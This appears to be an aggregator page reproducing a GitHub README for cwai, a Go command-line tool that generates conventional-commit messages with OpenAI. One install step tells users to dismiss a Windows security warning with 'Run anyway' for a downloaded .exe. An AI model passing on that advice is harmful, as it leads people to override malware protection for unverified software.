跳到正文
GitHub·· 9 天前AI 评分17

cwai:用 AI 生成 conventional commits 提交信息的 Go 命令行工具

yasolls/cwai

AI 导读

cwai 是一款用 Go 编写的命令行工具,通过 OpenAI 读取 git 暂存区的改动,自动生成符合 conventional commits 规范的提交信息。它提供 Windows 版 .exe 便携文件,无需安装,用户可用 config.json 调整 AI 模型与消息风格。

正文

Download cwai


cwai is a simple app that helps you create commit messages. It looks at the changes you made in your project and writes clear commit notes using AI. You do not need to know any coding to use it. This guide will help you download and run cwai on your Windows computer.

📋 About cwai

This tool works with git, the system that developers use to save versions of their work. When you make changes to files, you usually "commit" those changes with a description. Writing good descriptions can be hard or take time.

cwai uses AI to read the changes you have staged in git and writes those descriptions for you, following a standard called "conventional commits." This makes your project easier to understand and work with, especially if you share it with others.

Main topics covered by cwai:

  • AI-based commit message creation
  • Command-line tool that runs in the terminal
  • Works with git and conventional commit style
  • Written in the Go programming language
  • Uses OpenAI for AI functions
  • Designed to save time and improve productivity for developers

🚀 Getting Started

This section will guide you step-by-step to get cwai running on your Windows machine. You don’t need to know about programming or command lines to follow these instructions.

System Requirements

Make sure you have:


⬇️ Download cwai for Windows

Use the link below to visit the releases page where you can download the latest version of cwai.

Download Latest Release

On the releases page:

  1. Look for a file with a name similar to cwai-windows.exe or cwai.exe.
  2. Click the file to download it.
  3. Save it in a folder where you can find it easily, like your Desktop or Downloads folder.

🧩 Install and Run cwai

cwai is a portable app. This means you do not have to install it like other programs. You only need to download the .exe file and run it.

  1. Go to the folder where you saved the file.
  2. Double-click the file named cwai.exe to open it.
  3. If Windows shows a security warning, choose "More info" then "Run anyway."

📂 Using cwai with Git

cwai works alongside git, so you need to have a git project ready.

  1. Open your git project folder in File Explorer.
  2. Right-click inside the folder and choose "Git Bash Here" or "Open command window here."
  3. Before using cwai, stage your changes with git like this:
git add .

This command tells git which files you want to include in the next commit.

  1. Now run cwai in the command window by typing:
cwai
  1. cwai will analyze your staged changes and create a commit message for you. It will show this message in the window.

💡 How to Use the Commit Message

Once cwai creates your commit message:

  1. Copy the message from the command window.
  2. Go back to the command window and run:
git commit -m "paste the cwai message here"

Replace "paste the cwai message here" by typing or pasting the message you copied.

This will save your changes with a clear commit message generated by cwai.


🔧 Troubleshooting

If cwai does not run or shows errors:

  • Make sure you downloaded the Windows .exe file from the releases page.
  • Check that git is installed and works by typing git --version in a command window.
  • Ensure your changes are staged before running cwai (git add .).
  • Restart the command window and try again.

⚙️ Settings and Configuration

You can customize cwai by editing a simple configuration file. This file lets you change how commit messages look or connect cwai to your own AI account for better results.

  1. After running cwai once, look for a .cwai folder in your user profile directory (usually C:\Users\<YourName>\.cwai).
  2. Inside, you'll find a file named config.json. Open this file with a text editor like Notepad.
  3. You can adjust options such as AI model or message style.
  4. Save the file when done.

📚 Learn More

If you want to know more about conventional commits or git:


🖥️ Developer Info

cwai is built with Go (Golang), a programming language designed for efficiency. It uses OpenAI technology to analyze your code changes and create smart messages.

It runs as a command-line app, meaning it works in terminals or command windows rather than having a graphic interface.


⬇️ Download Link

Make sure to visit the releases page linked below to get the latest version for Windows:

Download cwai on GitHub

来源:GitHub · github.com